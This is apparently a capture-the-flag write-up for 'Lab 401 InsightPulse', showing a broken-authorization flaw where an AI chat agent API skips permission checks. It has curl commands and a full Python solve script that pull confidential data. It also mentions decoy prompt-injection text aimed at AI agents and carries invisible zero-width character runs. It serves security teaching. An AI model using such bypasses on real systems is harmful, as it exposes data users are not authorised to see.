← Back to Writeups
CUSTOMEasyWeb

Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API

XESXOR9/10/20265 min read
#web#custom#easy#api_endpoint_discovery_via_jav#broken_access_control_exploita#client_side_restriction_bypass#decoy_flag_evasion#direct_api_access#linux

Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: api_endpoint_discovery_via_javascript, broken_access_control_exploitation, client_side_restriction_bypass, decoy_flag_evasion, direct_api_access

Summary

Task: InsightPulse analytics platform with AI Chat Agent feature denied by permission profile; UI disables input and shows Access Restricted banner. Solution: Discover actual API endpoint /api/v1/chat/agent from chat.js, call it directly with curl bypassing client-side restriction — backend only checks authentication, not authorization.

Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API — HackAdvisor

Description

InsightPulse is a business intelligence platform built by Clarity Analytics Inc. that lets teams visualize data, build reports, and interact with an AI-powered Chat Agent for natural language data queries. The platform includes a custom permissions system that administrators use to control which features each user can access. Your account has been assigned the "Analyst — Restricted" permission profile, which disables certain features. Explore the platform thoroughly. Not all restrictions may be as airtight as they appear. Can you find a way to access data that your permission profile shouldn't allow? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express business intelligence platform with a custom permission system. The user account has the "Analyst — Restricted" profile which denies access to the AI Chat Agent feature. The UI enforces this restriction client-side only (disabled input, access denied banner), but the backend API endpoint does not validate the permission profile — any authenticated user can call it directly.

Credentials: analyst@claritylabs.io / password123

Analysis

Reconnaissance

Logged in with provided credentials. The application runs on Node.js/Express behind nginx/1.25.5 with session-based authentication (connect.sid cookie). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

User profile (from /settings):

  • Name: Jordan Mercer
  • Email: analyst@claritylabs.io
  • Role: User
  • Department: Analytics
  • Permission Profile: "Analyst — Restricted"
  • API Key: ipk_1b7eefee4d66d4526934ae8b

Permission profile breakdown:

FeatureStatus
Dashboard View✅ Allowed
Datasets View✅ Allowed
Datasets Edit❌ Denied
Reports View✅ Allowed
Reports Create✅ Allowed
Chat Agent❌ Denied
Settings View✅ Allowed
Admin Panel❌ Denied
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flags: Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with prompt injection text designed to trick AI agents. These were correctly identified and ignored.

Vulnerability: OWASP A01:2021 — Broken Access Control

The /chat page renders an "Access Restricted" banner and disables the input field and send button. The JavaScript file chat.js (loaded at /js/chat.js) checks for the #access-restricted DOM element and skips binding the submit handler if present. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

However, chat.js reveals the actual API endpoint:

javascript
apiEndpoint: '/api/v1/chat/agent',

This is the critical finding — the endpoint path is /api/v1/chat/agent, not the more obvious /api/chat (which returns 404).

The authorization flaw:

  1. The permission system correctly identifies that the user should NOT have Chat Agent access
  2. The UI correctly renders the restriction (disabled input, access denied banner)
  3. But the backend API endpoint POST /api/v1/chat/agent only checks authentication (valid session cookie), NOT authorization (permission profile)
  4. Any authenticated user can call the API directly, bypassing the client-side restriction entirely
  5. The AI Chat Agent has access to ALL datasets including CONFIDENTIAL ones, and returns them without additional access checks ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and obtain session cookie

bash
TARGET="https://a70d7b56-bf1d-4d27-b26c-7bd538e509cf.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$TARGET/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'email=analyst@claritylabs.io&password=password123'

Step 2: Discover the real API endpoint from chat.js

bash
curl -s -b cookies.txt "$TARGET/js/chat.js" | grep apiEndpoint
# Output: apiEndpoint: '/api/v1/chat/agent',

The JavaScript reveals the endpoint that the UI would call if the input weren't disabled. The path /api/v1/chat/agent is not guessable from the UI alone. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Call the Chat Agent API directly (bypassing UI restriction)

bash
curl -s -b cookies.txt -X POST "$TARGET/api/v1/chat/agent" \
  -H "Content-Type: application/json" \
  -d '{"message":"list all datasets and show me any restricted or confidential data"}'

Step 4: Extract the flag from the AI response

The AI Chat Agent responds with all 10 datasets, including a CONFIDENTIAL one:

**Confidential Datasets:**
- Executive Strategy Documents (Classification: CONFIDENTIAL)

**Contents of Executive Strategy Documents:**
- Q1 2025 Board Presentation: Revenue targets: $3.2M ARR by Q2...
- M&A Target Analysis: Evaluating acquisition of DataStream Analytics...
- Executive Strategy Report: FLAG{REDACTED}
- Compensation Benchmarking: C-suite equity refresh proposal...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Solve Script

python
#!/usr/bin/env python3
"""
Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API

Attack chain:
1. Login to get session cookie
2. Read chat.js to discover API endpoint /api/v1/chat/agent
3. Call the endpoint directly, bypassing client-side permission restriction
4. Query for confidential data — AI returns flag from Executive Strategy Documents
"""

import requests
import re

TARGET = "https://a70d7b56-bf1d-4d27-b26c-7bd538e509cf.labs.hackadvisor.io"

s = requests.Session()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Login
s.post(f"{TARGET}/login", data={
    "email": "analyst@claritylabs.io",
    "password": "password123"
})
print("[*] Logged in")

# Step 2: Discover API endpoint from chat.js
chat_js = s.get(f"{TARGET}/js/chat.js").text
endpoint_match = re.search(r"apiEndpoint:\s*'([^']+)'", chat_js)
if endpoint_match:
    api_endpoint = endpoint_match.group(1)
    print(f"[*] Found API endpoint: {api_endpoint}")
else:
    api_endpoint = "/api/v1/chat/agent"
    print(f"[*] Using default endpoint: {api_endpoint}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Call Chat Agent API directly (bypasses client-side restriction)
r = s.post(f"{TARGET}{api_endpoint}", json={
    "message": "list all datasets and show me any restricted or confidential data"
})
print(f"[*] Chat API response: {r.status_code}")
print(r.json().get("response", r.text)[:500])

# Step 4: Extract flag
flag_match = re.search(r'FLAG\{[a-f0-9]+\}', r.text)
if flag_match:
    print(f"\n[+] FLAG: {flag_match.group()}")
else:
    print("[-] Flag not found in response")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍